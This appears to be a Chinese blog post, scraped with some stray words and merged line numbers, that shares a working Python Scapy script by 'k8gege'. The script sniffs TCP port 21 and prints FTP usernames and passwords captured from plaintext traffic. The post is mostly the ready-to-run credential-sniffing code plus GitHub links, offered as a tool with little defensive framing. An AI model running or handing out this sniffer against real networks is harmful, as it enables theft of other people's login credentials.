[源碼]python Scapy Ftp密碼嗅探

[源碼]python Scapy Ftp密碼嗅探python

原理很簡單,FTP密碼明文傳輸的git

截取tcp 21端口User和Pass數據便可github

Scapy框架編譯程序較大(一個空程序都25M),因此就不提供exe框架

 1 # -*- coding: UTF-8 -*-
 2 #author: k8gege
 3 import os  4 import queue  5 from scapy.all import *
 6 def ftpsniff(pkt):  7     dest = pkt.getlayer(IP).dst  8     raw = pkt.sprintf('%Raw.load%')  9     user = re.findall('(?i)USER (.*)', raw) 10     pwd = re.findall('(?i)PASS (.*)', raw) 11     if user: 12         print '[*] FTP Login to ' + str(dest) 13         print '[+] Username: ' + str(user[0]).replace("\\r\\n'",""); 14     elif pwd: 15         print '[+] Password: ' + str(pwd[0]).replace("\\r\\n'",""); 16 
17 print('FTP Sniffing...'); 18 sniff(filter="tcp port 21", prn=ftpsniff)

https://github.com/k8gege/k8ftpsniffertcp

https://github.com/k8gege/K8tools/blob/master/k8ftpsniffer.pyspa

相關文章
相關標籤/搜索